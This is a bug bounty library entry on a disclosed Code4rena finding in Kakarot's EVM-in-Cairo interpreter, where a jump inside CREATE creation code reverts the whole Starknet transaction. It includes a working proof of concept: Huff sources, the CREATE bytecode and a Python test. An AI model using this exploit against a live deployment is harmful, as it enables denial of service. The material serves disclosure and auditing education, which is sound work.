# Jump in creation code leads to reverting of the starknet transaction

JUMP/JUMPI inside EVM creation code in Kakarot passes range check then calls is_valid_jumpdest on zero address, reverting the whole Starknet transaction.

- Payout: Audit contest
- Severity: medium
- Program: Kakarot
- Found by: ahmedaghadi
- Disclosed: 2024-12-10
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-09-kakarot-findings/issues/44
- Library page: https://bugbountylibrary.com/r/c4%3A2024-09-kakarot%3AM-09
- Tags: area:web3 domain:web3 impact:dos kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:dos

**Target:** EVM interpreter (evm.cairo jump/is_valid_jumpdest) on Starknet
**Root cause:** During CREATE/CREATE2, message.bytecode_len holds the creation code length instead of 0, so a jump offset below that length passes the out-of-range check; is_valid_jumpdest then queries IAccount at the zero code_address, which is not deployed, reverting the Starknet tx.
**Steps:**
1. Craft creation code `0x5f56` (PUSH0 JUMP) jumping to offset 0 < creation code length 2.
2. Deploy via CREATE from runtime code `605f5f53605660015360025f5ff0`.
3. Call `evm_call` with that bytecode via the Python end-to-end test.
4. Observe Starknet revert: 'Requested contract address 0x0...0 is not deployed'.
**How found:** Code review of evm.cairo jump: noticed bytecode_len is nonzero for creation code, so the out-of-range guard is bypassed and is_valid_jumpdest is invoked with an unset code_address.
**Exploitation:** Any contract using CREATE/CREATE2 with such creation code, or a callback target given limited gas, can force the entire Starknet transaction to revert; no direct asset theft since the tx reverts.
**Insight:** When auditing EVM-in-Cairo ports, check whether message.bytecode_len/code_address are initialized differently for creation vs runtime code; jumpdest validation paths that assume a deployed account are a good target.

## Proof of concept (copied exactly from the original report)

**Huff creation code that jumps to offset 0**

```
#define macro MAIN() = takes(0) returns(0) {
    0x00
    jump
}

Save the above code in a file name `creation_code.huff`. You can refer [Installing Huff](https://docs.huff.sh/get-started/installing/), if you don't have huff installed.

The above code will jump to the offset `0` which is less than the creation code length ( i.e. `2` ) and can be converted to bytecode using the following command:

huffc creation_code.huff --bytecode
```

**Huff CREATE caller with 0x5f56 creation code**

```
#define macro MAIN() = takes(0) returns(0) {
    0x5f 0x00 mstore8 // store `PUSH0` opcode at memory offset 0
    0x56 0x01 mstore8 // store `JUMP` opcode at memory offset 1

    0x02 // size
    0x00 // offset
    0x00 // value
    create
}

Save the above code in a file name `create.huff`. This will jump to the offset `0` which is less than the creation code length (i.e. `2`) and can be converted to bytecode using the following command:

huffc create.huff --bytecode
```

**Python test invoking evm_call with create bytecode**

```
params = {
                "value": 0,
                "code": "605f5f53605660015360025f5ff0", // create.huff
                "calldata": "",
                "stack": "0000000000000000000000000000000000000000000000000000000000000000",
                "memory": "",
                "return_data": "",
                "success": 1,
        }
        result = await evm.functions["evm_call"].call(
            origin=origin,
            value=int(params["value"]),
            bytecode=hex_string_to_bytes_array(params["code"]),
            calldata=hex_string_to_bytes_array(params["calldata"]),
            access_list=[],
        )
        print("result", result)
        assert result.success == params["success"]
```

